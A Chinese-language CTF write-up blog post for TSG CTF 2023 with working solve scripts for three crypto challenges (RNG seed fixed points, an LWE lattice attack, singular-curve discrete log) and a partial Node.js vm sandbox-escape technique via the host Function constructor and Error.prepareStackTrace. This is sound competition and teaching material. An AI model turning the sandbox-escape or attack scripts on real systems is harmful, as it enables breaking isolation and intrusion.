TSG CTF 2023 WriteUps

發表於 2023-11-05

分類於 CTF

在 nyahello 中 solo 打了一下這場拿到第 10 名，主要解了幾題 crypto，還有 misc, web, pwn 各一題。

Crypto

RANDOM SEED RANDOM

這題有個 server，連上會執行這個 script:

import os
import random
import string

flag = os.getenv("FLAG", "FAKECTF{THIS_IS_FAKE}")

key = [random.randrange(10 ** 4) for _ in flag]
cs = string.printable[:-6]

def r(k):
    for _ in range(k):
        random.seed(x := random.randrange(20231104, 20231104 * 10))
    return x

random.seed(int(input("seed: ")))
print('flag:', ''.join([cs[(cs.index(f) + r(k)) % len(cs)] for f, k in zip(flag, key)]))

因為我們不知道 key 是多少，所以只能想辦法透過決定 seed 控制 r(k) 的值。有想過既然是 MT19937 那看看能不能 z3，不過因為它的還拿輸出的值再拿去 seed 一次，所以複雜度應該會很高。

仔細想一下會發現如果定義:

def f(x):
	random.seed(x)
	return random.randrange(20231104, 20231104 * 10)

那麼只要找到一個 $f(x)=x$ ，也就是 $f$ 的 fixed point，那麼 $r(k,x)=f^k(x)=x$ 就是個定值。不過實際上不是每個 $f$ 都有 fixed point 的，例如對一個從自身到自身的函數 $f: X \rightarrow X$ 的函數其中 $|X|=N$ ，它有 fixed point 的機率是:

P(\exists x \in X, f(x)=x) = 1 - (1 - \frac{1}{N})^N

而當 $N \rightarrow \infty$ 的時候 $P \approx 1 - \frac{1}{e} \approx 0.632$ 。因此對於任意夠大的 $X$ 來說有 fixed point 的機率其實不是很大，而這題的 $f$ 在它所給予的 $X=[20231104, 202311040)$ 中正好也沒有 fixed point。

不過這問題也不大，取 $f'=f \circ f, f''= f \circ f \circ f$ 等函數找它們的 fixed point 就行了。例如在這題上我有找到一個 $f^3(x)=x$ 的 fixed point $47852311$ 。這麼一來 $r(k,x)$ 的可能性就只有三種了。

因此就利用那個 seed 去拿 flag 加密，然後對於每個字元解回來會有三種可能，這部分透過多次加密取交集，看出現過最多次數的字元就是了。

找 fixed point 的部分我是這樣做的:

import random
from tqdm import tqdm, trange
from concurrent.futures import ProcessPoolExecutor
from math import ceil


def check_seed_range(rg):
    r = random.Random()
    for seed in range(*rg):
        r.seed(seed)
        r.seed(r.randrange(st, ed))
        r.seed(r.randrange(st, ed))
        if r.randrange(st, ed) == seed:
            return seed


st = 20231104
ed = st * 10
split = 16
with ProcessPoolExecutor(max_workers=split) as executor:
    ranges = [
        (st + i * (ed - st) // split, st + (i + 1) * (ed - st) // split)
        for i in range(split)
    ]
    ranges += [(ranges[-1][1], ed)]
    res = executor.map(check_seed_range, ranges)
    for r in res:
        if r:
            print(r, flush=True)
            break

然後是解 flag:

from pwn import process, remote, context
import random
import string
import numpy as np
from collections import Counter
from tqdm import trange

context.log_level = "error"


def f(x):
    r = random.Random()
    r.seed(x)
    return r.randrange(20231104, 20231104 * 10)


fixed_point_3 = 47852311
assert f(f(f(fixed_point_3))) == fixed_point_3


def get_enc(seed):
    # io = process(["python", "main.py"])
    io = remote("34.84.217.62", 10960)
    io.sendlineafter(b"seed: ", str(seed).encode())
    io.recvuntil(b"flag: ")
    enc = io.recvline().strip().decode()
    io.close()
    return enc


def try_fn(f, n):
    for _ in range(n):
        try:
            return f()
        except Exception as e:
            pass


def get_flag_cand(seed):
    cs = string.printable[:-6]
    enc = try_fn(lambda: get_enc(seed), 5)
    for _ in range(random.randrange(0, 3)):
        seed = f(seed)
    dec = "".join([cs[(cs.index(f) - seed) % len(cs)] for f in enc])
    return dec


ar = np.array([list(get_flag_cand(fixed_point_3)) for _ in trange(50)])

flag = ""
for row in ar.T:
    flag += Counter(row).most_common(1)[0][0]
    print(flag)
# TSGCTF{D4NCE_R0BOT_D4NCE_8caa8d05ff7f}

看作者 writeup，他是用 cycle finding 去做的

Learning with Exploitation

from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler
from sage.crypto.lwe import LWE, samples
from sage.misc.prandom import randrange

p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
F = GF(p)
d = 100
n = 10
q = p // (2 ** 64)
D = DiscreteGaussianDistributionIntegerSampler(q // d // 6) # six sigma

lwe = LWE(n=n, q=p, D=D)

public_key = list(zip(*samples(m=d, n=n, lwe=lwe)))
private_key = lwe._LWE__s

def encrypt(m, public_key):
  A, T = public_key
  r = vector([F(randrange(2)) for _ in range(d)])
  U = r * matrix(A)
  v = r * vector(T) + m * q
  return U, v

def decrypt(c, private_key):
  U, v = c
  return int(v - U * private_key + q // 2) // q

with open('flag.txt', 'rb') as f:
  flag = f.read()
assert(len(flag) == 64)

print(f'{public_key = }')

ciphertext = []
for i in range(0, 64, 8):
  m = int.from_bytes(flag[i:i+8], 'big')
  c = encrypt(m, public_key)

  assert(decrypt(c, private_key) == m)

  ciphertext.append(c)

print(f'{ciphertext = }')

這邊實作了一個 LWE 的加密方法 (類似 Regev)，public key 為:

As + e \equiv T \pmod{p}

而加密是用:

\begin{gathered} U = rA \pmod{p} \\ v = rT + mq \pmod{p} \end{gathered}

所以解密為:

v - Us \equiv r(As + e) + mq - rAs \equiv mq + re \pmod{p}

因為 $r$ 是 binary vector，所以預期 $re$ 不大，所以直接 balance mod 然後整數除法除 $q$ 即可。

不過這題我認為最大的問題在於它有 $d=100$ 維，但 $n=10$ 。因為 $\sigma \approx 2^{119}$ ，而 $p \approx 2^{192}$ ，所以可以抓每個維度相當於提供 $192-120=72$ bits 的資訊。而未知的 $s$ 只有 $10 \times 192 = 1920$ bits，而 $72 \times 100 = 7200 \gg 1920$ ，所以用 LLL 解應該是可行的。

from sage.stats.distributions.discrete_gaussian_integer import (
    DiscreteGaussianDistributionIntegerSampler,
)
from sage.crypto.lwe import LWE, samples
from sage.misc.prandom import randrange
from subprocess import check_output
from re import findall
from output import public_key, ciphertext


def flatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))


p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF
F = GF(p)
d = 100
n = 10
q = p // (2**64)
errsz = (q // d // 6).bit_length()


A, T = public_key
L = (-matrix(A).T).stack(vector(T)).change_ring(ZZ)
L = block_matrix(
    [[matrix.identity(d) * p, matrix.zero(d, n + 1)], [L, matrix.identity(n + 1)]]
)
# for row in L:
#     print("".join(["*" if x else " " for x in row]))
bounds = [2**errsz] * d + [2 ** p.bit_length()] * n + [1]
K = p**2
Q = diagonal_matrix([K // x for x in bounds])
L *= Q
L = flatter(L)
L /= Q
private_key = vector(F, next(v for v in L if v[-1] == 1)[-n - 1 : -1])
print(private_key)



def decrypt(c, private_key):
    U, v = c
    return int(v - vector(F, U) * private_key + q // 2) // q

flag = b""
for ct in ciphertext:
    pt = decrypt(ct, private_key)
    flag += int(pt).to_bytes(8, "big")
print(flag)
# TSGCTF{PQC_5T4NDS_FOR_"P-AND-Q_CRYPTOSY5T3M";_4LSO_KNOWN_A5_RSA}

另外是我這個方法其實不是直接用 LLL 攻擊 LWE 的最佳解法，因為生出來的那個 lattice 大小是 $(n+d+1) \times (n+d+1)$ ，而實際上有個 LWE primal attack 只需要 $(d+1) \times (d+1)$ 的 lattice 就夠了。詳細可以參考這篇 p.36。

這題的符號和那篇 slide 中的符號之對應關係如下:
$n \rightarrow n$
$d \rightarrow m$
$p \rightarrow q$
$T \rightarrow c$
而這下面都會使用 slide 中的符號而非這題的符號

可知道它比較特別的地方是有先用計算 row echelon form 把 $qI$ 矩陣的地方從 $m \times m$ 壓縮到 $(m-n) \times (m-n)$ 的技巧。

首先是標準 lwe 可以寫成 $As+e=c$ ，這邊的 $c$ 是題目的 $T$ 。然後轉置得到 $s^T A^T + e^T = c^T$ ，而求 echelon form 就是有個 $PA^T = [I \,\, A']$ ，其中 $P$ 是一堆 elementary matrix 的乘積，所以有:

s^T A^T + e^T = s^T P^{-1} P A^T + e^T = s'^T [I \,\, A'] + e^T = c^T

而 primal attack 的 lattice 長這樣:

L=\begin{bmatrix} I_{n \times n} & A'_{n \times m-n} & 0 \\ 0_{m-n \times n} & qI_{m-n \times m-n} & 0 \\ c^T & & t \end{bmatrix}

注意 $c^T$ 是 $m$ 維的，所以它會填滿那個空格

因此可以想成有 $[-s'^T \,\, k \,\, 1]L = [e^T \,\, t]$ ，而因為 $-s'$ 中的值和 $c^T$ 一樣都已經是在 $\mathbb{F}_q$ 底下計算完成了，範圍也相同。因此 $I$ 裡面的 $1$ 就能讓我們省掉 $n$ 維的空間去塞 $q$ 。不過這也有個小缺點，就是原本的方法中因為多了那 $n$ 維，也有多塞 $n$ 維的 $I$ 去捕捉 $s^T$ 的必要，所以我前面是直接從 LLL reduced matrix 中就能找出 private key 了。

A, T = public_key
L = block_matrix(
    [
        [matrix(Zmod(p), A).T.echelon_form().change_ring(ZZ), 0],
        [matrix.zero(d - n, n).augment(matrix.identity(d - n) * p), 0],
        [matrix(ZZ, T), 1],
    ]
)
# for row in L:
#     print("".join(["*" if x else " " for x in row]))
bounds = [2**errsz] * d + [1]
K = p**2
Q = diagonal_matrix([K // x for x in bounds])
L *= Q
L = flatter(L)
L /= Q
err = vector(F, next(v[-1] * v for v in L if abs(v[-1]) == 1)[:-1])
private_key = matrix(F, A).solve_right(vector(F, T) - err)
print(private_key)

Delta Force

from secret import flag, p, q
from random import SystemRandom
from elliptic_curve import EC

randgen = SystemRandom()
flag += randgen.randbytes(4000 // 8 - len(flag))

f = int.from_bytes(flag, 'big')

assert is_prime(p) and is_prime(q)
N = p * q

R = IntegerModRing(N)
a1 = 3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248
a2 = 4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859
a3 = 558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922
a4 = 2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438
a6 = 3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411

x = 3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044
y = 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337

P = (x, y)

ec = EC(R, (a1, a2, a3, a4, a6))
assert ec.iszeropoint(P) == True

print(N)
print(ec.scalar(f, P))

這題有 $N=pq$ ，而還用自己寫的橢圓曲線在在上面算 $Q=fP$ ，要你解 ecdlp 得到 $f$ 。

首先直接把曲線在 sage 中建出來會發現它是 singular 的，也就是說 $E(\mathbb{F}_p)$ 和 $E(\mathbb{F}_q)$ 都是 singular curve，代表只會是 cusp (三重根) 或是 node (二重根)。

因為所有的 curve 都能透過轉換變成 short weierstrass form，所以 cusp 會長成 $y^2=x^3$ ，而 node 是 $y^2=(x-\alpha)^2 (x-\beta)$

之所以 cusp 不會是 $(x-\alpha)^3$ 是因為這樣就不符合 short weierstrass form 的定義了

利用這個性質，可以先轉成 short weierstrass form $y^2=f(x)=x^3+ax+b$ 。而我先假設兩個都是 node，那麼透過 square-free factorizatin 的技巧，合理預期 $g=\gcd(f(x),f'(x))$ 會是一個 degree 1 多項式，然後就能找出從曲線到 $\mathbb{Z}[x]/(N,h(x)) \cong \mathbb{F}_{p^2} \times \mathbb{F}_{q^2}$ 的 homomorphism。

不過實際上在計算 $g$ 的時候就會發生 inversion error，因此可以分解 $N=pq$ ，然後檢查一下 $E(\mathbb{F}_p)$ 和 $E(\mathbb{F}_q)$ 可知分別是 cusp 和 node。

首先 cusp 的部分可以透過以下 homomorphism 弄到加法群，所以可得 $f \mod{p}$

\begin{gathered} \phi_1: E(\mathbb{F}_p) \rightarrow \mathbb{F}_{p}^+ \\ (x,y) \mapsto \frac{x}{y} \end{gathered}

而 node 那條把它分解成:

y^2=(x-\alpha)^2 (x-\beta)

而它有個 homomorphism:

\begin{gathered} \phi_2: E(\mathbb{F}_q) \rightarrow K^\times \\ (x,y) \mapsto \frac{y+\sqrt{\alpha-\beta}(x-\alpha)}{y-\sqrt{\alpha-\beta}(x-\alpha)} \end{gathered}

其中 $K$ 是 $\mathbb{F}_q$ 還是 $\mathbb{F}_{q^2}$ 就要看 $\alpha-\beta$ 是不是 square 決定了。在這題中 $K=\mathbb{F}_{q^2}$ 。

接下來檢查一下可知 $q-1$ 並不 smooth，但 $q+1$ 相當的 smooth，因此就要在 $K$ 中 $q+1$ 的 subgroup 中用 pohlig-hellman 解 DLP 得到 $f \mod{q+1}$ ，然後最後 CRT 就能得到 $f$ 。

from elliptic_curve import EC

N = 4861176438018509277765150221122126870541685654379801604114760532814287581153000210004207389443213309449018955338869863741674740447811975915078711903955681567092381171537713559560343153877511977292098222368485399204912122010227229078270969924905169787592189375418475308051129528888568681568734206072034666373423912365236817972608366602899547226744432299234711173306225399948633496091891925021506066051269505274591577497904167584767303718241171649947539664809546498443661211509926990737931523544728384428153032760216353730801234655930548104422024130570816728659653538260845032772371478140823258876790879087834215578099103687121280145961921389449249461303695127426477060016215875089488915916633794518511956116049451487462341914580430836466289069310852902452441670591766542607475566151856004189541762250121764347455770924195541519142036527843854325635334990763891612540761801228294679227675034333748671488131374369328481523920448620362794582130982555488343842058198241325525060402667145213028907534526536473479495813172523174608010901013909785818541505226347899760377967331689016937903306728695776347712900417640623152047417427405267791933202247836823133253708561331399337585694285673510222776175851823031760492810621651225757782530492371

a1 = 3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248
a2 = 4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859
a3 = 558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922
a4 = 2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438
a6 = 3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411

Px = 3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044
Py = 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337
Qx = 2940137648302822135887768405733428618361214020026143318586301618329372655276898009551187352450543631241584953409424998458467844898870748818109962017628692856154502911778246629019987248210711081379384038506544899037017094206431000794646201463294660352565581410940316447059413267990280103085282255573960006012422254599380011885107374758617951885988212493389139714778955997592191645456603116305632632160041751363247794842614094023112577912814096859442106924317927245381355215404305882813647647808165973585096785363719791485657642484540219214405059891658285454539795978892636754583882973657007442901458945664345488978832970375753192565978853522306244584220151446267601777829062885902539106413866798108556472482002577646588557387807715633128913787076005721277459341934855424070398364463323364862109833382659277887541400854089319386644417923424987803584644908821750251870682987388817038606082810492054657719015315239443896190699718636785628585029435696899067125128349522932992790811417433696577333575752911124735242072095229457254742656832308956471177564651299639347093754244273997643353109038338400428109043737885400764768339281104454669195785957709561673360000645367092746262324437783858934652428309563075654233156559693135917215127084839
Qy = 4309188751202413994756093118871339651868155545296257835957631283548458290549834043239999619160131639470537688107285148019375428000337112432317175093336043210190860875690929878131126549041446002208047334350876371320870374521378167548031473971584407464547121329256935748386784077512111069027529070091090512274046019879131201709340032343094129650445987190535015392973173123256087780783994874319281164700525019310387007282075836894663864145318825896934077504337916357614201204461113478545772364849985793786972947231991982415597625212515186739391531585821996127328710500026236144903951637427245223426748300366460373759173484339176020599231393473092295681626107718784321631623410699469438511433557396045657573993803277529816220655895923559584651137391079923579080103751692260916441921214236122141145982485958870445890303087859026075184149723430563928025165528170894575097071775485154541104075542976068077112038847635378050578747036715486956987048325200527662369726957499097289967832182678228473153601275262332757733205093157880270604049046032523006585325029448952623263419851474313757519250802143143825231591931300564658633698464656605919184597056629222214865044578470955523959024153014386918508244536074045249645182811691608730763212420747

R = Zmod(N)
proof.arithmetic(False)

ET = EllipticCurve(QQ, [a1, a2, a3, a4, a6])
E = ET.short_weierstrass_model()
phi = ET.isomorphism_to(E)
fx, fy = phi.rational_maps()
w_Px, w_Py = fx(Px, Py), fy(Px, Py)
w_Qx, w_Qy = fx(Qx, Qy), fy(Qx, Qy)
a, b = R(E.a4()), R(E.a6())
p = ZZ(gcd(a, N))  # I found this by accident
q = N // p
assert p * q == N
x = ZZ["x"].gen()
f = x**3 + a * x + b
Fp = GF(p)
Fq = GF(q)

# hmm...
print(f.change_ring(Fp).factor())  # x^3
print(f.change_ring(Fq).factor())  # (x-alpha)^2*(x-beta)

# use E(F_p) -> F_p^+ homomorphism to solve dlp mod p
f_p = (w_Qx / w_Qy) / ((w_Px / w_Py)) % p
ec_p = EC(Fp, (a1, a2, a3, a4, a6))
assert ec_p.scalar(f_p, (Px % p, Py % p)) == (Qx % p, Qy % p)

# find E(F_q) -> ? homomorphism
fs = f.change_ring(Fq).factor()
alpha = next(ZZ(-f(0)) for f, e in fs if e == 2)
beta = next(ZZ(-f(0)) for f, e in fs if e == 1)
z = Fq(alpha - beta).sqrt()
print(z)  # not in F_q^*, so it is F_{q^2}^*
print(factor(q + 1))  # so smooth, yeah
Fq2 = z.parent()


def homo(wx, wy):
    wx, wy = Fq2(wx), Fq2(wy)
    t = z * (wx - alpha)
    return (wy + t) / (wy - t)


# map to F_{q^2}^* and solve another dlp
cf = q - 1
target = homo(w_Qx, w_Qy) ** cf
base = homo(w_Px, w_Py) ** cf
od = q + 1
if base.is_square():
    od //= 2
f_q = ZZ(pari.fflog(target, base, od))
# same, but slower:
# f_q = discrete_log(target, base, ord=q + 1)

f = crt([f_p, f_q], [p, od])
flag = int(f).to_bytes(5000 // 8, "big").strip(b"\x00")
print(flag)
# TSGCTF{@l1_y0u_n3Ed_IS_ReaDiNG_5ilvErman_ThE_@r1thmetic_of_e11iPtiC_cURVe5}

Misc

Functionless

const readline = require("node:readline/promises");
const vm = require("node:vm");

async function main() {
  const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
  });

  const context = vm.createContext(undefined, {
    codeGeneration: {
      strings: false,
    },
  });

  console.log("Welcome! Please input an expression.");

  while (true) {
    const code = await rl.question("> ");

    if (/[()`]/.test(code)) {
      console.log("You can't call functions!");
      continue;
    }

    try {
      const result = vm.runInContext(code, context);
      console.log(result);
    } catch {
      console.log("Something is wrong...");
    }
  }
}

main();

總之要在不能 call function 的情況下 escape node.js 的 vm。

escape 的部分很簡單，因為 context undefined 時用的預設參數是 host object，所以 this.constructor.constructor 就是 host 的 Function 了。

call function 的部分我知道有個 arg instanceof {[Symbol.hasInstance]: fn} 可以做到相當於 !!fn(arg) 的操作，也就是能 call function + 控參數，但不能拿到回傳值。

後來找了找想到 Error.prepareStackTrace 會被 v8 在有 error 的時候使用 Error.prepareStackTrace(error, callsites) 的方法呼叫，然後把回傳值塞到 error.stack 中。因此如果把 Error.prepareStackTrace 改成 this.constructor.constructor (host Function)，然後透過控制參數 toString 說不定就行了。因此我最初的想法就是:

Error.prototype.toString=v=>'ERRSTR'
Array.prototype.toString=v=>'ARRSTR'
Error.prepareStackTrace=this.constructor.constructor
new Error

這個在 node.js repl 中是預期的結果，但在題目中不行。後來我做了些測試發現這是因為 error 是 vm realm 裡面的 Error，可是 callsites 這個 array 是 host 的，因此 callsites 在轉換成 String 時不會呼叫到 vm realm 裡面的 Array.prototype.toString，而是 host 的 Array.prototype.toString。

